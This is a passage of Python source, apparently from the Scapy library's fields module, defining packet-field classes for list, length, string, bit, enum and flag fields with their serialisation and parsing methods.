Optional[Callable[[Packet], int]]\n            max_count=None,  # type: Optional[int]\n    ):\n        # type: (...) -> None\n        if default is None:\n            default = []  # Create a new list for each instance\n        self.field = field\n        Field.__init__(self, name, default)\n        self.count_from = count_from\n        self.length_from = length_from\n        self.max_count = max_count\n\n    def i2count(self, pkt, val):\n        # type: (Optional[Packet], List[Any]) -> int\n        if isinstance(val, list):\n            return len(val)\n        return 1\n\n    def i2len(self, pkt, val):\n        # type: (Packet, List[Any]) -> int\n        return int(sum(self.field.i2len(pkt, v) for v in val))\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], List[Any]) -> List[Any]\n        if not isinstance(x, list):\n            return [self.field.any2i(pkt, x)]\n        else:\n            return [self.field.any2i(pkt, e) for e in x]\n\n    def i2repr(self,\n               pkt,  # type: Optional[Packet]\n               x,  # type: List[Any]\n               ):\n        # type: (...) -> str\n        return \"[%s]\" % \", \".join(self.field.i2repr(pkt, v) for v in x)\n\n    def addfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 val,  # type: Optional[List[Any]]\n                 ):\n        # type: (...) -> bytes\n        val = self.i2m(pkt, val)\n        for v in val:\n            s = self.field.addfield(pkt, s, v)\n        return s\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Any\n        c = len_pkt = None\n        if self.length_from is not None:\n            len_pkt = self.length_from(pkt)\n        elif self.count_from is not None:\n            c = self.count_from(pkt)\n\n        val = []\n        ret = b\"\"\n        if len_pkt is not None:\n            s, ret = s[:len_pkt], s[len_pkt:]\n\n        while s:\n            if c is not None:\n                if c <= 0:\n                    break\n                c -= 1\n            s, v = self.field.getfield(pkt, s)\n            val.append(v)\n            if len(val) > (self.max_count or conf.max_list_count):\n                raise MaximumItemsCount(\n                    \"Maximum amount of items reached in FieldListField: %s \"\n                    \"(defaults to conf.max_list_count)\"\n                    % (self.max_count or conf.max_list_count)\n                )\n\n        if isinstance(s, tuple):\n            s, bn = s\n            return (s + ret, bn), val\n        else:\n            return s + ret, val\n\n\nclass FieldLenField(Field[int, int]):\n    __slots__ = [\"length_of\", \"count_of\", \"adjust\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Optional[Any]\n            length_of=None,  # type: Optional[str]\n            fmt=\"H\",  # type: str\n            count_of=None,  # type: Optional[str]\n            adjust=lambda pkt, x: x,  # type: Callable[[Packet, int], int]\n    ):\n        # type: (...) -> None\n        Field.__init__(self, name, default, fmt)\n        self.length_of = length_of\n        self.count_of = count_of\n        self.adjust = adjust\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[int]) -> int\n        if x is None and pkt is not None:\n            if self.length_of is not None:\n                fld, fval = pkt.getfield_and_val(self.length_of)\n                f = fld.i2len(pkt, fval)\n            elif self.count_of is not None:\n                fld, fval = pkt.getfield_and_val(self.count_of)\n                f = fld.i2count(pkt, fval)\n            else:\n                raise ValueError(\n                    \"Field should have either length_of or count_of\"\n                )\n            x = self.adjust(pkt, f)\n        elif x is None:\n            x = 0\n        return x\n\n\nclass StrNullField(StrField):\n    DELIMITER = b\"\\x00\"\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[bytes]) -> bytes\n        return s + self.i2m(pkt, val) + self.DELIMITER\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Tuple[bytes, bytes]\n        len_str = 0\n        while True:\n            len_str = s.find(self.DELIMITER, len_str)\n            if len_str < 0:\n                # DELIMITER not found: return empty\n                return b\"\", s\n            if len_str % len(self.DELIMITER):\n                len_str += 1\n            else:\n                break\n        return s[len_str + len(self.DELIMITER):], self.m2i(pkt, s[:len_str])\n\n    def randval(self):\n        # type: () -> RandTermString\n        return RandTermString(RandNum(0, 1200), self.DELIMITER)\n\n    def i2len(self, pkt, x):\n        # type: (Optional[Packet], Any) -> int\n        return super(StrNullField, self).i2len(pkt, x) + 1\n\n\nclass StrNullFieldUtf16(StrNullField, StrFieldUtf16):\n    DELIMITER = b\"\\x00\\x00\"\n\n\nclass StrStopField(StrField):\n    __slots__ = [\"stop\", \"additional\"]\n\n    def __init__(self, name, default, stop, additional=0):\n        # type: (str, str, bytes, int) -> None\n        Field.__init__(self, name, default)\n        self.stop = stop\n        self.additional = additional\n\n    def getfield(self, pkt, s):\n        # type: (Optional[Packet], bytes) -> Tuple[bytes, bytes]\n        len_str = s.find(self.stop)\n        if len_str < 0:\n            return b\"\", s\n        len_str += len(self.stop) + self.additional\n        return s[len_str:], s[:len_str]\n\n    def randval(self):\n        # type: () -> RandTermString\n        return RandTermString(RandNum(0, 1200), self.stop)\n\n\nclass LenField(Field[int, int]):\n    \"\"\"\n    If None, will be filled with the size of the payload\n    \"\"\"\n    __slots__ = [\"adjust\"]\n\n    def __init__(self, name, default, fmt=\"H\", adjust=lambda x: x):\n        # type: (str, Optional[Any], str, Callable[[int], int]) -> None\n        Field.__init__(self, name, default, fmt)\n        self.adjust = adjust\n\n    def i2m(self,\n            pkt,  # type: Optional[Packet]\n            x,  # type: Optional[int]\n            ):\n        # type: (...) -> int\n        if x is None:\n            x = 0\n            if pkt is not None:\n                x = self.adjust(len(pkt.payload))\n        return x\n\n\nclass BCDFloatField(Field[float, int]):\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[float]) -> int\n        if x is None:\n            return 0\n        return int(256 * x)\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], int) -> float\n        return x / 256.0\n\n\nclass _BitField(Field[I, int]):\n    \"\"\"\n    Field to handle bits.\n\n    :param name: name of the field\n    :param default: default value\n    :param size: size (in bits). If negative, Low endian\n    :param tot_size: size of the total group of bits (in bytes) the bitfield\n                     is in. If negative, Low endian.\n    :param end_tot_size: same but for the BitField ending a group.\n\n    Example - normal usage::\n\n         0                   1                   2                   3\n         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |             A             |               B               | C |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n                                 Fig. TestPacket\n\n        class TestPacket(Packet):\n            fields_desc = [\n                BitField(\"a\", 0, 14),\n                BitField(\"b\", 0, 16),\n                BitField(\"c\", 0, 2),\n            ]\n\n    Example - Low endian stored as 16 bits on the network::\n\n        x x x x x x x x x x x x x x x x\n        a [b] [   c   ] [      a      ]\n\n        Will first get reversed during dissecion:\n\n        x x x x x x x x x x x x x x x x\n        [      a        ] [b] [   c   ]\n\n        class TestPacket(Packet):\n            fields_desc = [\n                BitField(\"a\", 0, 9, tot_size=-2),\n                BitField(\"b\", 0, 2),\n                BitField(\"c\", 0, 5, end_tot_size=-2)\n            ]\n\n    \"\"\"\n    __slots__ = [\"rev\", \"size\", \"tot_size\", \"end_tot_size\"]\n\n    def __init__(self, name, default, size,\n                 tot_size=0, end_tot_size=0):\n        # type: (str, Optional[I], int, int, int) -> None\n        Field.__init__(self, name, default)\n        if callable(size):\n            size = size(self)\n        self.rev = size < 0 or tot_size < 0 or end_tot_size < 0\n        self.size = abs(size)\n        if not tot_size:\n            tot_size = self.size // 8\n        self.tot_size = abs(tot_size)\n        if not end_tot_size:\n            end_tot_size = self.size // 8\n        self.end_tot_size = abs(end_tot_size)\n        # Fields always have a round sz except BitField\n        # so to keep it simple, we'll ignore it here.\n        self.sz = self.size / 8.  # type: ignore\n\n    # We need to # type: ignore a few things because of how special\n    # BitField is\n    def addfield(self,  # type: ignore\n                 pkt,  # type: Packet\n                 s,  # type: Union[Tuple[bytes, int, int], bytes]\n                 ival,  # type: I\n                 ):\n        # type: (...) -> Union[Tuple[bytes, int, int], bytes]\n        val = self.i2m(pkt, ival)\n        if isinstance(s, tuple):\n            s, bitsdone, v = s\n        else:\n            bitsdone = 0\n            v = 0\n        v <<= self.size\n        v |= val & ((1 << self.size) - 1)\n        bitsdone += self.size\n        while bitsdone >= 8:\n            bitsdone -= 8\n            s = s + struct.pack(\"!B\", v >> bitsdone)\n            v &= (1 << bitsdone) - 1\n        if bitsdone:\n            return s, bitsdone, v\n        else:\n            # Apply LE if necessary\n            if self.rev and self.end_tot_size > 1:\n                s = s[:-self.end_tot_size] + s[-self.end_tot_size:][::-1]\n            return s\n\n    def getfield(self,  # type: ignore\n                 pkt,  # type: Packet\n                 s,  # type: Union[Tuple[bytes, int], bytes]\n                 ):\n        # type: (...) -> Union[Tuple[Tuple[bytes, int], I], Tuple[bytes, I]]  # noqa: E501\n        if isinstance(s, tuple):\n            s, bn = s\n        else:\n            bn = 0\n            # Apply LE if necessary\n            if self.rev and self.tot_size > 1:\n                s = s[:self.tot_size][::-1] + s[self.tot_size:]\n\n        # we don't want to process all the string\n        nb_bytes = (self.size + bn - 1) // 8 + 1\n        w = s[:nb_bytes]\n\n        # split the substring byte by byte\n        _bytes = struct.unpack('!%dB' % nb_bytes, w)\n\n        b = 0\n        for c in range(nb_bytes):\n            b |= int(_bytes[c]) << (nb_bytes - c - 1) * 8\n\n        # get rid of high order bits\n        b &= (1 << (nb_bytes * 8 - bn)) - 1\n\n        # remove low order bits\n        b = b >> (nb_bytes * 8 - self.size - bn)\n\n        bn += self.size\n        s = s[bn // 8:]\n        bn = bn % 8\n        b2 = self.m2i(pkt, b)\n        if bn:\n            return (s, bn), b2\n        else:\n            return s, b2\n\n    def randval(self):\n        # type: () -> RandNum\n        return RandNum(0, 2**self.size - 1)\n\n    def i2len(self, pkt, x):  # type: ignore\n        # type: (Optional[Packet], Optional[float]) -> float\n        return float(self.size) / 8\n\n\nclass BitField(_BitField[int]):\n    __doc__ = _BitField.__doc__\n\n\nclass BitLenField(BitField):\n    __slots__ = [\"length_from\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 length_from  # type: Callable[[Packet], int]\n                 ):\n        # type: (...) -> None\n        self.length_from = length_from\n        super(BitLenField, self).__init__(name, default, 0)\n\n    def getfield(self,  # type: ignore\n                 pkt,  # type: Packet\n                 s,  # type: Union[Tuple[bytes, int], bytes]\n                 ):\n        # type: (...) -> Union[Tuple[Tuple[bytes, int], int], Tuple[bytes, int]]  # noqa: E501\n        self.size = self.length_from(pkt)\n        return super(BitLenField, self).getfield(pkt, s)\n\n    def addfield(self,  # type: ignore\n                 pkt,  # type: Packet\n                 s,  # type: Union[Tuple[bytes, int, int], bytes]\n                 val  # type: int\n                 ):\n        # type: (...) -> Union[Tuple[bytes, int, int], bytes]\n        self.size = self.length_from(pkt)\n        return super(BitLenField, self).addfield(pkt, s, val)\n\n\nclass BitFieldLenField(BitField):\n    __slots__ = [\"length_of\", \"count_of\", \"adjust\", \"tot_size\", \"end_tot_size\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 size,  # type: int\n                 length_of=None,  # type: Optional[Union[Callable[[Optional[Packet]], int], str]]  # noqa: E501\n                 count_of=None,  # type: Optional[str]\n                 adjust=lambda pkt, x: x,  # type: Callable[[Optional[Packet], int], int]  # noqa: E501\n                 tot_size=0,  # type: int\n                 end_tot_size=0,  # type: int\n                 ):\n        # type: (...) -> None\n        super(BitFieldLenField, self).__init__(name, default, size,\n                                               tot_size, end_tot_size)\n        self.length_of = length_of\n        self.count_of = count_of\n        self.adjust = adjust\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Any]) -> int\n        return FieldLenField.i2m(self, pkt, x)  # type: ignore\n\n\nclass XBitField(BitField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return lhex(self.i2h(pkt, x))\n\n\n_EnumType = Union[Dict[I, str], Dict[str, I], List[str], DADict[I, str], Type[Enum], Tuple[Callable[[I], str], Callable[[str], I]]]  # noqa: E501\n\n\nclass _EnumField(Field[Union[List[I], I], I]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[I]\n                 enum,  # type: _EnumType[I]\n                 fmt=\"H\",  # type: str\n                 ):\n        # type: (...) -> None\n        \"\"\" Initializes enum fields.\n\n        @param name:    name of this field\n        @param default: default value of this field\n        @param enum:    either an enum, a dict or a tuple of two callables.\n                        Dict keys are the internal values, while the dict\n                        values are the user-friendly representations. If the\n                        tuple is provided, the first callable receives the\n                        internal value as parameter and returns the\n                        user-friendly representation and the second callable\n                        does the converse. The first callable may return None\n                        to default to a literal string (repr()) representation.\n        @param fmt:     struct.pack format used to parse and serialize the\n                        internal value from and to machine representation.\n        \"\"\"\n        if isinstance(enum, ObservableDict):\n            cast(ObservableDict, enum).observe(self)\n\n        if isinstance(enum, tuple):\n            self.i2s_cb = enum[0]  # type: Optional[Callable[[I], str]]\n            self.s2i_cb = enum[1]  # type: Optional[Callable[[str], I]]\n            self.i2s = None  # type: Optional[Dict[I, str]]\n            self.s2i = None  # type: Optional[Dict[str, I]]\n        elif isinstance(enum, type) and issubclass(enum, Enum):\n            # Python's Enum\n            i2s = self.i2s = {}\n            s2i = self.s2i = {}\n            self.i2s_cb = None\n            self.s2i_cb = None\n            names = [x.name for x in enum]\n            for n in names:\n                value = enum[n].value\n                i2s[value] = n\n                s2i[n] = value\n        else:\n            i2s = self.i2s = {}\n            s2i = self.s2i = {}\n            self.i2s_cb = None\n            self.s2i_cb = None\n            keys = []  # type: List[I]\n            if isinstance(enum, list):\n                keys = list(range(len(enum)))  # type: ignore\n            elif isinstance(enum, DADict):\n                keys = enum.keys()\n            else:\n                keys = list(enum)  # type: ignore\n                if any(isinstance(x, str) for x in keys):\n                    i2s, s2i = s2i, i2s  # type: ignore\n            for k in keys:\n                value = cast(str, enum[k])  # type: ignore\n                i2s[k] = value\n                s2i[value] = k\n        Field.__init__(self, name, default, fmt)\n\n    def any2i_one(self, pkt, x):\n        # type: (Optional[Packet], Any) -> I\n        if isinstance(x, Enum):\n            return cast(I, x.value)\n        elif isinstance(x, str):\n            if self.s2i:\n                x = self.s2i[x]\n            elif self.s2i_cb:\n                x = self.s2i_cb(x)\n        return cast(I, x)\n\n    def _i2repr(self, pkt, x):\n        # type: (Optional[Packet], I) -> str\n        return repr(x)\n\n    def i2repr_one(self, pkt, x):\n        # type: (Optional[Packet], I) -> str\n        if self not in conf.noenum and not isinstance(x, VolatileValue):\n            if self.i2s:\n                try:\n                    return self.i2s[x]\n                except KeyError:\n                    pass\n            elif self.i2s_cb:\n                ret = self.i2s_cb(x)\n                if ret is not None:\n                    return ret\n        return self._i2repr(pkt, x)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Union[I, List[I]]\n        if isinstance(x, list):\n            return [self.any2i_one(pkt, z) for z in x]\n        else:\n            return self.any2i_one(pkt, x)\n\n    def i2repr(self, pkt, x):  # type: ignore\n        # type: (Optional[Packet], Any) -> Union[List[str], str]\n        if isinstance(x, list):\n            return [self.i2repr_one(pkt, z) for z in x]\n        else:\n            return self.i2repr_one(pkt, x)\n\n    def notify_set(self, enum, key, value):\n        # type: (ObservableDict, I, str) -> None\n        ks = \"0x%x\" if isinstance(key, int) else \"%s\"\n        log_runtime.debug(\n            \"At %s: Change to %s at \" + ks, self, value, key\n        )\n        if self.i2s is not None and self.s2i is not None:\n            self.i2s[key] = value\n            self.s2i[value] = key\n\n    def notify_del(self, enum, key):\n        # type: (ObservableDict, I) -> None\n        ks = \"0x%x\" if isinstance(key, int) else \"%s\"\n        log_runtime.debug(\"At %s: Delete value at \" + ks, self, key)\n        if self.i2s is not None and self.s2i is not None:\n            value = self.i2s[key]\n            del self.i2s[key]\n            del self.s2i[value]\n\n\nclass EnumField(_EnumField[I]):\n    __slots__ = [\"i2s\", \"s2i\", \"s2i_cb\", \"i2s_cb\"]\n\n\nclass CharEnumField(EnumField[str]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: str\n                 enum,  # type: _EnumType[str]\n                 fmt=\"1s\",  # type: str\n                 ):\n        # type: (...) -> None\n        super(CharEnumField, self).__init__(name, default, enum, fmt)\n        if self.i2s is not None:\n            k = list(self.i2s)\n            if k and len(k[0]) != 1:\n                self.i2s, self.s2i = self.s2i, self.i2s\n\n    def any2i_one(self, pkt, x):\n        # type: (Optional[Packet], str) -> str\n        if len(x) != 1:\n            if self.s2i:\n                x = self.s2i[x]\n            elif self.s2i_cb:\n                x = self.s2i_cb(x)\n        return x\n\n\nclass BitEnumField(_BitField[Union[List[int], int]], _EnumField[int]):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type:  Optional[int]\n                 size,  # type:  int\n                 enum,  # type: _EnumType[int]\n                 **kwargs  # type: Any\n                 ):\n        # type: (...) -> None\n        _EnumField.__init__(self, name, default, enum)\n        _BitField.__init__(self, name, default, size, **kwargs)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Union[List[int], int]\n        return _EnumField.any2i(self, pkt, x)\n\n    def i2repr(self,\n               pkt,  # type: Optional[Packet]\n               x,  # type: Union[List[int], int]\n               ):\n        # type: (...) -> Any\n        return _EnumField.i2repr(self, pkt, x)\n\n\nclass BitLenEnumField(BitLenField, _EnumField[int]):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 length_from,  # type: Callable[[Packet], int]\n                 enum,  # type: _EnumType[int]\n                 **kwargs,  # type: Any\n                 ):\n        # type: (...) -> None\n        _EnumField.__init__(self, name, default, enum)\n        BitLenField.__init__(self, name, default, length_from, **kwargs)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> int\n        return _EnumField.any2i(self, pkt, x)  # type: ignore\n\n    def i2repr(self,\n               pkt,  # type: Optional[Packet]\n               x,  # type: Union[List[int], int]\n               ):\n        # type: (...) -> Any\n        return _EnumField.i2repr(self, pkt, x)\n\n\nclass ShortEnumField(EnumField[int]):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(ShortEnumField, self).__init__(name, default, enum, \"H\")\n\n\nclass LEShortEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(LEShortEnumField, self).__init__(name, default, enum, \"<H\")\n\n\nclass LongEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(LongEnumField, self).__init__(name, default, enum, \"Q\")\n\n\nclass LELongEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(LELongEnumField, self).__init__(name, default, enum, \"<Q\")\n\n\nclass ByteEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(ByteEnumField, self).__init__(name, default, enum, \"B\")\n\n\nclass XByteEnumField(ByteEnumField):\n    def i2repr_one(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        if self not in conf.noenum and not isinstance(x, VolatileValue):\n            if self.i2s:\n                try:\n                    return self.i2s[x]\n                except KeyError:\n                    pass\n            elif self.i2s_cb:\n                ret = self.i2s_cb(x)\n                if ret is not None:\n                    return ret\n        return lhex(x)\n\n\nclass IntEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(IntEnumField, self).__init__(name, default, enum, \"I\")\n\n\nclass SignedIntEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(SignedIntEnumField, self).__init__(name, default, enum, \"i\")\n\n\nclass LEIntEnumField(EnumField[int]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        super(LEIntEnumField, self).__init__(name, default, enum, \"<I\")\n\n\nclass XLEIntEnumField(LEIntEnumField):\n    def _i2repr(self, pkt, x):\n        # type: (Optional[Packet], Any) -> str\n        return lhex(x)\n\n\nclass XShortEnumField(ShortEnumField):\n    def _i2repr(self, pkt, x):\n        # type: (Optional[Packet], Any) -> str\n        return lhex(x)\n\n\nclass LE3BytesEnumField(LEThreeBytesField, _EnumField[int]):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[int]\n                 enum,  # type: _EnumType[int]\n                 ):\n        # type: (...) -> None\n        _EnumField.__init__(self, name, default, enum)\n        LEThreeBytesField.__init__(self, name, default)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> int\n        return _EnumField.any2i(self, pkt, x)  # type: ignore\n\n    def i2repr(self, pkt, x):  # type: ignore\n        # type: (Optional[Packet], Any) -> Union[List[str], str]\n        return _EnumField.i2repr(self, pkt, x)\n\n\nclass XLE3BytesEnumField(LE3BytesEnumField):\n    def _i2repr(self, pkt, x):\n        # type: (Optional[Packet], Any) -> str\n        return lhex(x)\n\n\nclass _MultiEnumField(_EnumField[I]):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: int\n                 enum,  # type: Dict[I, Dict[I, str]]\n                 depends_on,  # type: Callable[[Optional[Packet]], I]\n                 fmt=\"H\"  # type: str\n                 ):\n        # type: (...) -> None\n\n        self.depends_on = depends_on\n        self.i2s_multi = enum\n        self.s2i_multi = {}  # type: Dict[I, Dict[str, I]]\n        self.s2i_all = {}  # type: Dict[str, I]\n        for m in enum:\n            s2i = {}  # type: Dict[str, I]\n            self.s2i_multi[m] = s2i\n            for k, v in enum[m].items():\n                s2i[v] = k\n                self.s2i_all[v] = k\n        Field.__init__(self, name, default, fmt)\n\n    def any2i_one(self, pkt, x):\n        # type: (Optional[Packet], Any) -> I\n        if isinstance(x, str):\n            v = self.depends_on(pkt)\n            if v in self.s2i_multi:\n                s2i = self.s2i_multi[v]\n                if x in s2i:\n                    return s2i[x]\n            return self.s2i_all[x]\n        return cast(I, x)\n\n    def i2repr_one(self, pkt, x):\n        # type: (Optional[Packet], I) -> str\n        v = self.depends_on(pkt)\n        if isinstance(v, VolatileValue):\n            return repr(v)\n        if v in self.i2s_multi:\n            return str(self.i2s_multi[v].get(x, x))\n        return str(x)\n\n\nclass MultiEnumField(_MultiEnumField[int], EnumField[int]):\n    __slots__ = [\"depends_on\", \"i2s_multi\", \"s2i_multi\", \"s2i_all\"]\n\n\nclass BitMultiEnumField(_BitField[Union[List[int], int]],\n                        _MultiEnumField[int]):\n    __slots__ = EnumField.__slots__ + MultiEnumField.__slots__\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: int\n            size,  # type: int\n            enum,  # type: Dict[int, Dict[int, str]]\n            depends_on  # type: Callable[[Optional[Packet]], int]\n    ):\n        # type: (...) -> None\n        _MultiEnumField.__init__(self, name, default, enum, depends_on)\n        self.rev = size < 0\n        self.size = abs(size)\n        self.sz = self.size / 8.  # type: ignore\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Union[List[int], int]\n        return _MultiEnumField[int].any2i(\n            self,  # type: ignore\n            pkt,\n            x\n        )\n\n    def i2repr(  # type: ignore\n            self,\n            pkt,  # type: Optional[Packet]\n            x  # type: Union[List[int], int]\n    ):\n        # type: (...) -> Union[str, List[str]]\n        return _MultiEnumField[int].i2repr(\n            self,  # type: ignore\n            pkt,\n            x\n        )\n\n\nclass ByteEnumKeysField(ByteEnumField):\n    \"\"\"ByteEnumField that picks valid values when fuzzed. \"\"\"\n\n    def randval(self):\n        # type: () -> RandEnumKeys\n        return RandEnumKeys(self.i2s or {})\n\n\nclass ShortEnumKeysField(ShortEnumField):\n    \"\"\"ShortEnumField that picks valid values when fuzzed. \"\"\"\n\n    def randval(self):\n        # type: () -> RandEnumKeys\n        return RandEnumKeys(self.i2s or {})\n\n\nclass IntEnumKeysField(IntEnumField):\n    \"\"\"IntEnumField that picks valid values when fuzzed. \"\"\"\n\n    def randval(self):\n        # type: () -> RandEnumKeys\n        return RandEnumKeys(self.i2s or {})\n\n\n# Little endian fixed length field\n\n\nclass LEFieldLenField(FieldLenField):\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Optional[Any]\n            length_of=None,  # type: Optional[str]\n            fmt=\"<H\",  # type: str\n            count_of=None,  # type: Optional[str]\n            adjust=lambda pkt, x: x,  # type: Callable[[Packet, int], int]\n    ):\n        # type: (...) -> None\n        FieldLenField.__init__(\n            self, name, default,\n            length_of=length_of,\n            fmt=fmt,\n            count_of=count_of,\n            adjust=adjust\n        )\n\n\nclass FlagValueIter(object):\n\n    __slots__ = [\"flagvalue\", \"cursor\"]\n\n    def __init__(self, flagvalue):\n        # type: (FlagValue) -> None\n        self.flagvalue = flagvalue\n        self.cursor = 0\n\n    def __iter__(self):\n        # type: () -> FlagValueIter\n        return self\n\n    def __next__(self):\n        # type: () -> str\n        x = int(self.flagvalue)\n        x >>= self.cursor\n        while x:\n            self.cursor += 1\n            if x & 1:\n                return self.flagvalue.names[self.cursor - 1]\n            x >>= 1\n        raise StopIteration\n\n    next = __next__\n\n\nclass FlagValue(object):\n    __slots__ = [\"value\", \"names\", \"multi\"]\n\n    def _fixvalue(self, value):\n        # type: (Any) -> int\n        if not value:\n            return 0\n        if isinstance(value, str):\n            value = value.split('+') if self.multi else list(value)\n        if isinstance(value, list):\n            y = 0\n            for i in value:\n                y |= 1 << self.names.index(i)\n            value = y\n        return int(value)\n\n    def __init__(self, value, names):\n        # type: (Union[List[str], int, str], Union[List[str], str]) -> None\n        self.multi = isinstance(names, list)\n        self.names = names\n        self.value = self._fixvalue(value)\n\n    def __hash__(self):\n        # type: () -> int\n        return hash(self.value)\n\n    def __int__(self):\n        # type: () -> int\n        return self.value\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return self.value == self._fixvalue(other)\n\n    def __lt__(self, other):\n        # type: (Any) -> bool\n        return self.value < self._fixvalue(other)\n\n    def __le__(self, other):\n        # type: (Any) -> bool\n        return self.value <= self._fixvalue(other)\n\n    def __gt__(self, other):\n        # type: (Any) -> bool\n        return self.value > self._fixvalue(other)\n\n    def __ge__(self, other):\n        # type: (Any) -> bool\n        return self.value >= self._fixvalue(other)\n\n    def __ne__(self, other):\n        # type: (Any) -> bool\n        return self.value != self._fixvalue(other)\n\n    def __and__(self, other):\n        # type: (int) -> FlagValue\n        return self.__class__(self.value & self._fixvalue(other), self.names)\n    __rand__ = __and__\n\n    def __or__(self, other):\n        # type: (int) -> FlagValue\n        return self.__class__(self.value | self._fixvalue(other), self.names)\n    __ror__ = __or__\n    __add__ = __or__  # + is an alias for |\n\n    def __sub__(self, other):\n        # type: (int) -> FlagValue\n        return self.__class__(\n            self.value & (2 ** len(self.names) - 1 - self._fixvalue(other)),\n            self.names\n        )\n\n    def __xor__(self, other):\n        # type: (int) -> FlagValue\n        return self.__class__(self.value ^ self._fixvalue(other), self.names)\n\n    def __lshift__(self, other):\n        # type: (int) -> int\n        return self.value << self._fixvalue(other)\n\n    def __rshift__(self, other):\n        # type: (int) -> int\n        return self.value >> self._fixvalue(other)\n\n    def __nonzero__(self):\n        # type: () -> bool\n        return bool(self.value)\n    __bool__ = __nonzero__\n\n    def flagrepr(self):\n        # type: () -> str\n        warnings.warn(\n            \"obj.flagrepr() is obsolete. Use str(obj) instead.\",\n            DeprecationWarning\n        )\n        return str(self)\n\n    def __str__(self):\n        # type: () -> str\n        i = 0\n        r = []\n        x = int(self)\n        while x:\n            if x & 1:\n                try:\n                    name = self.names[i]\n                except IndexError:\n                    name = \"?\"\n                r.append(name)\n            i += 1\n            x >>= 1\n        return (\"+\" if self.multi else \"\").join(r)\n\n    def __iter__(self):\n        # type: () -> FlagValueIter\n        return FlagValueIter(self)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<Flag %d (%s)>\" % (self, self)\n\n    def __deepcopy__(self, memo):\n        # type: (Dict[Any, Any]) -> FlagValue\n        return self.__class__(int(self), self.names)\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        if attr in self.__slots__:\n            return super(FlagValue, self).__getattribute__(attr)\n        try:\n            if self.multi:\n                return bool((2 ** self.names.index(attr)) & int(self))\n            return all(bool((2 ** self.names.index(flag)) & int(self))\n                       for flag in attr)\n        except ValueError:\n            if '_' in attr:\n                try:\n                    return self.__getattr__(attr.replace('_', '-'))\n                except AttributeError:\n                    pass\n            return super(FlagValue, self).__getattribute__(attr)\n\n    def __setattr__(self, attr, value):\n        # type: (str, Union[List[str], int, str]) -> None\n        if attr == \"value\" and not isinstance(value, int):\n            raise ValueError(value)\n        if attr in self.__slots__:\n            return super(FlagValue, self).__setattr__(attr, value)\n        if attr in self.names:\n            if value:\n                self.value |= (2 ** self.names.index(attr))\n            else:\n                self.value &= ~(2 ** self.names.index(attr))\n        else:\n            return super(FlagValue, self).__setattr__(attr, value)\n\n    def copy(self):\n        # type: () -> FlagValue\n        return self.__class__(self.value, self.names)\n\n\nclass FlagsField(_BitField[Optional[Union[int, FlagValue]]]):\n    \"\"\" Handle Flag type field\n\n   Make sure all your flags have a label\n\n   Example (list):\n       >>> from scapy.packet import Packet\n       >>> class 